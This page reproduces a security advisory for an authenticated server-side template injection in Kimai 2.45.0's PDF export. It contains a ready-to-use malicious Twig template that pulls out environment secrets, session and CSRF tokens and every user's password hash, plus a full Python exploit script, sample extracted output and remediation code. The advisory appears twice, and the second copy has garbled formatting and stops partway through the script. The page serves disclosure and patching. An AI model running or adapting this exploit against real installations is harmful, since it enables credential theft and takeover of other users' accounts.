Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-jg2j-2w24-54cg: Kimai has an Authenticated Server-Side Template Injection (SSTI)

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

FieldValue
TitleAuthenticated SSTI via Permissive Export Template SandboxAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredHigh (Admin with export permissions and server access)
User InteractionNone
ImpactConfidentiality: HIGH (Credential/Secret Extraction)
Affected VersionsKimai 2.45.0 (likely earlier versions)
Tested OnDocker: kimai/kimai2:apache-2.45.0
Discovery Date2026-01-05

Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.


Vulnerability Description

Kimai’s export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

  1. Environment Variables (APP_SECRET, DATABASE_URL)
  2. All User Password Hashes (bcrypt)
  3. Serialized Session Tokens
  4. CSRF Tokens

Prerequisites

  1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
  2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:
    • Filesystem access (server admin)

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png: <img width="1124" height="1119" alt="screenshot_users" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />

UserRoleHash Extracted
adminROLE_SUPER_ADMIN✅ Yes
lowprivROLE_USER✅ Yes

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
  i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
    i:0;O:15:"App\Entity\User":5:{
      s:2:"id";i:1;
      s:8:"username";s:5:"admin";
      s:7:"enabled";b:1;
      s:5:"email";s:17:"admin@example.com";
      s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
    }
    i:1;b:1;i:2;N;i:3;a:0:{}
    i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
  }
}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

$this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

final class DefaultPolicy implements SecurityPolicyInterface
{
    public function checkSecurity($tags, $filters, $functions): void
    {
        // EMPTY - No restrictions on Twig tags/filters/functions
    }

    public function checkMethodAllowed($obj, $method): void
    {
        // EMPTY - Allows ANY method call on ANY object
    }

    public function checkPropertyAllowed($obj, $property): void
    {
        // EMPTY - Allows ANY property access on ANY object
    }
}

This allows templates to call methods like:

  • app.request.server.get("APP_SECRET") - Environment variable access
  • app.session.get("_security_secured_area") - Session data access
  • entry.user.password - Password hash access

Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>SSTI Data Extraction</title>
    <style>
        body { font-family: monospace; font-size: 10px; }
        h1, h2 { color: #333; }
        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
    </style>
</head>
<body>

<h1>===SSTI_EXTRACTION_START===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>

<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>

<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>

<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>

<h1>===SSTI_EXTRACTION_END===</h1>

</body>
</html>
TEMPLATE'

Step 2: Run the Exploit

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Step 3: Extract Text from PDF

pdftotext kimai_extracted_data.pdf -

Detailed Exploit Usage

Requirements

# Install Python dependencies
pip install requests

# Install PDF text extraction tool
sudo apt install poppler-utils

Command Syntax

python3 ssti_exploit.py <target_url> <username> <password> [template_name]

Arguments:
  target_url    - Kimai instance URL (e.g., http://localhost:8001)
  username      - Valid admin username with export permissions
  password      - User password
  template_name - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf

============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found

[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf

Output Files

FileDescription
kimai_extracted_data.pdfPDF containing all extracted sensitive data

Manual PDF Text Extraction

# Extract text from PDF
pdftotext kimai_extracted_data.pdf -

# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt

# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"

Error Handling

Error MessageCauseSolution
Cannot connect to <url>Target unreachableCheck URL and network
Authentication failedWrong credentialsVerify username/password
Template not foundTemplate not deployedDeploy template first (Step 1)
Access deniedInsufficient permissionsUse admin account with export perms
pdftotext not installedMissing toolRun apt install poppler-utils

Complete Exploit Script (ssti_exploit.py)

#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens

Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Author: Security Research
Date: 2026-01-05
"""

import requests
import re
import subprocess
import sys
import os

class KimaiSSTIExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.username = username
        self.password = password
        
    def login(self):
        """Authenticate to Kimai"""
        print(f"[*] Connecting to {self.target}")
        
        try:
            login_page = self.session.get(f"{self.target}/en/login", timeout=10)
        except requests.exceptions.ConnectionError:
            raise Exception(f"Cannot connect to {self.target}")
        except requests.exceptions.Timeout:
            raise Exception(f"Connection timeout to {self.target}")
            
        if login_page.status_code != 200:
            raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")
        
        csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
        if not csrf_match:
            raise Exception("CSRF token not found on login page")
        
        csrf = csrf_match.group(1)
        print(f"[*] Authenticating as {self.username}")
        
        login_resp = self.session.post(
            f"{self.target}/en/login_check",
            data={
                "_username": self.username,
                "_password": self.password,
                "_csrf_token": csrf
            },
            allow_redirects=True,
            timeout=10
        )
        
        # Check for successful login
        if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
            if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
                raise Exception("Invalid username or password")
            raise Exception("Authentication failed - check credentials")
        
        print(f"[+] Successfully authenticated as {self.username}")
        return True
    
    def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
        """Trigger SSTI via export functionality"""
        print(f"[*] Triggering SSTI with template: {template_name}")
        
        try:
            export_resp = self.session.post(
                f"{self.target}/en/export/data",
                data={
                    "renderer": template_name,
                    "state": "3",       # All states
                    "billable": "0",    # All billable states
                    "exported": "5",    # All export states
                    "markAsExported": "0",
                },
                timeout=60
            )
        except requests.exceptions.Timeout:
            raise Exception("Export request timed out")
        
        if export_resp.status_code == 404:
            raise Exception(f"Template '{template_name}' not found - deploy template first")
        
        if export_resp.status_code == 403:
            raise Exception("Access denied - user lacks export permissions")
            
        if export_resp.status_code != 200:
            raise Exception(f"Export failed: HTTP {export_resp.status_code}")
        
        if b'%PDF' not in export_resp.content[:10]:
            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
                raise Exception("Template rendering error - check template syntax")
            raise Exception("Invalid response - expected PDF output")
        
        print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
        return export_resp.content
    
    def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
        """Extract text from PDF using pdftotext"""
        with open(output_path, "wb") as f:
            f.write(pdf_content)
        
        try:
            result = subprocess.run(
                ["pdftotext", output_path, "-"],
                capture_output=True,
                text=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] pdftotext error: {result.stderr}")
                return None
            return result.stdout
        except FileNotFoundError:
            print("[-] pdftotext not installed")
            print("    Install with: apt install poppler-utils")
            return None
        except subprocess.TimeoutExpired:
            print("[-] pdftotext timed out")
            return None

    def parse_findings(self, text):
        """Parse and categorize extracted data"""
        findings = {
            "app_secret": None,
            "database_url": None,
            "password_hashes": [],
            "session_token": None,
            "csrf_tokens": []
        }
        
        lines = text.split('\n')
        for i, line in enumerate(lines):
            line = line.strip()
            
            if "APP_SECRET:" in line:
                findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()
            
            if "DATABASE_URL:" in line or "mysql://" in line:
                if "mysql://" in line:
                    findings["database_url"] = line.strip()
                elif i + 1 < len(lines):
                    findings["database_url"] = lines[i + 1].strip()
            
            if "$2y$" in line:
                findings["password_hashes"].append(line)
            
            if "UsernamePasswordToken" in line:
                findings["session_token"] = "Present (serialized PHP object)"
            
            if "_csrf" in line.lower() or len(line) == 43:
                if ":" in line:
                    findings["csrf_tokens"].append(line)
        
        return findings


def print_banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝
""")


def main():
    print_banner()
    
    if len(sys.argv) < 4:
        print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
        print()
        print("Arguments:")
        print("  target_url    - Kimai instance URL (e.g., http://localhost:8001)")
        print("  username      - Valid admin username")
        print("  password      - User password")
        print("  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
        print()
        print("Example:")
        print("  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
        print()
        print("Prerequisites:")
        print("  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
        print("  2. User must have export permissions (ROLE_ADMIN or higher)")
        sys.exit(1)
    
    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"
    
    exploit = KimaiSSTIExploit(target, username, password)
    
    try:
        # Step 1: Authenticate
        exploit.login()
        
        # Step 2: Trigger SSTI
        pdf_content = exploit.trigger_ssti(template)
        
        # Step 3: Save PDF
        output_file = "kimai_extracted_data.pdf"
        with open(output_file, "wb") as f:
            f.write(pdf_content)
        print(f"[+] PDF saved to: {output_file}")
        
        # Step 4: Extract and display text
        text = exploit.extract_text(pdf_content)
        if text:
            print()
            print("="*60)
            print("RAW EXTRACTED DATA:")
            print("="*60)
            print(text[:2000])
            if len(text) > 2000:
                print(f"\n... [{len(text) - 2000} more characters]")
            
            # Parse findings
            findings = exploit.parse_findings(text)
            
            print()
            print("="*60)
            print("CRITICAL FINDINGS SUMMARY:")
            print("="*60)
            
            if findings["app_secret"]:
                print(f"[!] APP_SECRET: {findings['app_secret']}")
            
            if findings["database_url"]:
                print(f"[!] DATABASE_URL: {findings['database_url']}")
            
            if findings["password_hashes"]:
                unique_hashes = list(set(findings["password_hashes"]))
                print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
                for h in unique_hashes[:5]:
                    print(f"    {h[:80]}...")
                if len(unique_hashes) > 5:
                    print(f"    ... and {len(unique_hashes) - 5} more")
            
            if findings["session_token"]:
                print(f"[!] Session Token: {findings['session_token']}")
            
            if findings["csrf_tokens"]:
                print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")
        
        print()
        print("[+] Exploitation successful!")
        print(f"[+] Full output saved to: {output_file}")
        return 0
        
    except KeyboardInterrupt:
        print("\n[-] Interrupted by user")
        return 130
    except Exception as e:
        print(f"[-] Exploitation failed: {e}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact Analysis

Extracted DataSecurity Impact
APP_SECRETCan forge Symfony login links to access ANY user account
DATABASE_URLDirect database connection credentials exposed
Password HashesOffline password cracking possible (bcrypt)
Session TokensSession structure analysis, potential replay attacks
CSRF TokensBypass CSRF protection for subsequent attacks

Attack Chain Example

  1. Exploit SSTI → Extract APP_SECRET
  2. Use APP_SECRET to forge login link for target user
  3. Access target user’s account without knowing their password

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());

// To:
$this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

  1. Block environment access in templates:

    public function checkMethodAllowed($obj, $method): void
    {
        if ($obj instanceof Request && $method === 'getServer') {
            throw new SecurityError('Server access not allowed');
        }
    }
    
  2. Block session access in templates:

    if ($obj instanceof Session) {
        throw new SecurityError('Session access not allowed');
    }
    
  3. Restrict User object property access:

    if ($obj instanceof User && $method === 'getPassword') {
        throw new SecurityError('Password access not allowed');
    }
    

Reported by: Mahammad Huseynkhanli

ghsa
#sql#csrf#vulnerability#apache#git#php#pdf#auth#docker

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)****Vulnerability Summary

Field

Value

Title

Authenticated SSTI via Permissive Export Template Sandbox

Attack Complexity

Low

Privileges Required

High (Admin with export permissions and server access)

User Interaction

None

Impact

Confidentiality: HIGH (Credential/Secret Extraction)

Affected Versions

Kimai 2.45.0 (likely earlier versions)

Tested On

Docker: kimai/kimai2:apache-2.45.0

Discovery Date

2026-01-05

Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.

Vulnerability Description

Kimai’s export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

  1. Environment Variables (APP_SECRET, DATABASE_URL)
  2. All User Password Hashes (bcrypt)
  3. Serialized Session Tokens
  4. CSRF Tokens

Prerequisites

  1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
  2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:
    • Filesystem access (server admin)

Test Environment****Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png:

User

Role

Hash Extracted

admin

ROLE_SUPER_ADMIN

✅ Yes

lowpriv

ROLE_USER

✅ Yes

Confirmed Exploitation Evidence****Test Date: 2026-01-05****Extracted Data (Actual Output from Exploit)

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
  i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
    i:0;O:15:"App\Entity\User":5:{
      s:2:"id";i:1;
      s:8:"username";s:5:"admin";
      s:7:"enabled";b:1;
      s:5:"email";s:17:"admin@example.com";
      s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
    }
    i:1;b:1;i:2;N;i:3;a:0:{}
    i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
  }
}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

Root Cause Analysis****Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

$this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

final class DefaultPolicy implements SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions): void { // EMPTY - No restrictions on Twig tags/filters/functions }

public function checkMethodAllowed($obj, $method): void
{
    // EMPTY - Allows ANY method call on ANY object
}

public function checkPropertyAllowed($obj, $property): void
{
    // EMPTY - Allows ANY property access on ANY object
}

}

This allows templates to call methods like:

  • app.request.server.get(“APP_SECRET”) - Environment variable access
  • app.session.get(“_security_secured_area”) - Session data access
  • entry.user.password - Password hash access

Exploitation Steps****Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

docker exec kimai-kimai-1 bash -c ‘cat > /opt/kimai/var/export/ssti-extract.pdf.twig << “TEMPLATE” <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>SSTI Data Extraction</title> <style> body { font-family: monospace; font-size: 10px; } h1, h2 { color: #333; } pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; } </style> </head> <body> <h1>===SSTI_EXTRACTION_START===</h1> <h2>1. ENVIRONMENT VARIABLES</h2> <pre> APP_SECRET: {{ app.request.server.get(“APP_SECRET”) }} DATABASE_URL: {{ app.request.server.get(“DATABASE_URL”) }} APP_ENV: {{ app.request.server.get(“APP_ENV”) }} APP_DEBUG: {{ app.request.server.get(“APP_DEBUG”) }} </pre> <h2>2. SESSION TOKEN (SERIALIZED)</h2> <pre> {{ app.session.get(“_security_secured_area”) }} </pre> <h2>3. CURRENT USER DETAILS</h2> <pre> {% set user = query.currentUser %} username: {{ user.username }} email: {{ user.email }} password_hash: {{ user.password }} roles: {{ user.roles|join(", ") }} id: {{ user.id }} </pre> <h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2> <pre> {% set seen = {} %} {% for entry in entries %} {% if entry.user is defined and entry.user.username not in seen %} {% set seen = seen|merge({(entry.user.username): true}) %} {{ entry.user.username }}:{{ entry.user.password }} {% endif %} {% endfor %} </pre> <h2>5. CSRF TOKENS</h2> <pre> _csrf/search: {{ app.session.get(“_csrf/search”) }} _csrf/datatable_update: {{ app.session.get(“_csrf/datatable_update”) }} _csrf/entities_multiupdate: {{ app.session.get(“_csrf/entities_multiupdate”) }} </pre> <h2>6. USER PREFERENCES</h2> <pre> {% set user = query.currentUser %} {% for pref in user.preferences %} {{ pref.name }}: {{ pref.value }} {% endfor %} </pre> <h1>===SSTI_EXTRACTION_END===</h1> </body> </html> TEMPLATE’

Step 2: Run the Exploit

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Step 3: Extract Text from PDF

pdftotext kimai_extracted_data.pdf -

Detailed Exploit Usage****Requirements

Install Python dependencies

pip install requests

Install PDF text extraction tool

sudo apt install poppler-utils

Command Syntax

python3 ssti_exploit.py <target_url> <username> <password> [template_name]

Arguments:
  target_url    - Kimai instance URL (e.g., http://localhost:8001)
  username      - Valid admin username with export permissions
  password      - User password
  template_name - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

Basic usage

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

With custom template

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf

============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found

[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf

Output Files

File

Description

kimai_extracted_data.pdf

PDF containing all extracted sensitive data

Manual PDF Text Extraction

Extract text from PDF

pdftotext kimai_extracted_data.pdf -

Save to file

pdftotext kimai_extracted_data.pdf extracted_secrets.txt

Search for specific secrets

pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"

Error Handling

Error Message

Cause

Solution

Cannot connect to <url>

Target unreachable

Check URL and network

Authentication failed

Wrong credentials

Verify username/password

Template not found

Template not deployed

Deploy template first (Step 1)

Access denied

Insufficient permissions

Use admin account with export perms

pdftotext not installed

Missing tool

Run apt install poppler-utils

Complete Exploit Script (ssti_exploit.py)

#!/usr/bin/env python3 “"” Kimai 2.45.0 - SSTI Information Disclosure Exploit Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens Prerequisites: 1. Valid admin credentials 2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig Usage: python3 ssti_exploit.py <target_url> <username> <password> Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! Author: Security Research Date: 2026-01-05 “"”

import requests import re import subprocess import sys import os

class KimaiSSTIExploit: def __init__(self, target, username, password): self.target = target.rstrip(‘/’) self.session = requests.Session() self.username = username self.password = password

def login(self):
    """Authenticate to Kimai"""
    print(f"\[\*\] Connecting to {self.target}")
    
    try:
        login\_page \= self.session.get(f"{self.target}/en/login", timeout\=10)
    except requests.exceptions.ConnectionError:
        raise Exception(f"Cannot connect to {self.target}")
    except requests.exceptions.Timeout:
        raise Exception(f"Connection timeout to {self.target}")
        
    if login\_page.status\_code != 200:
        raise Exception(f"Cannot reach login page: HTTP {login\_page.status\_code}")
    
    csrf\_match \= re.search(r'name="\_csrf\_token"\[^>\]\*value="(\[^"\]+)"', login\_page.text)
    if not csrf\_match:
        raise Exception("CSRF token not found on login page")
    
    csrf \= csrf\_match.group(1)
    print(f"\[\*\] Authenticating as {self.username}")
    
    login\_resp \= self.session.post(
        f"{self.target}/en/login\_check",
        data\={
            "\_username": self.username,
            "\_password": self.password,
            "\_csrf\_token": csrf
        },
        allow\_redirects\=True,
        timeout\=10
    )
    
    \# Check for successful login
    if "logout" not in login\_resp.text.lower() and "sign out" not in login\_resp.text.lower():
        if "invalid" in login\_resp.text.lower() or "incorrect" in login\_resp.text.lower():
            raise Exception("Invalid username or password")
        raise Exception("Authentication failed - check credentials")
    
    print(f"\[+\] Successfully authenticated as {self.username}")
    return True

def trigger\_ssti(self, template\_name\="ssti-extract.pdf.twig"):
    """Trigger SSTI via export functionality"""
    print(f"\[\*\] Triggering SSTI with template: {template\_name}")
    
    try:
        export\_resp \= self.session.post(
            f"{self.target}/en/export/data",
            data\={
                "renderer": template\_name,
                "state": "3",       \# All states
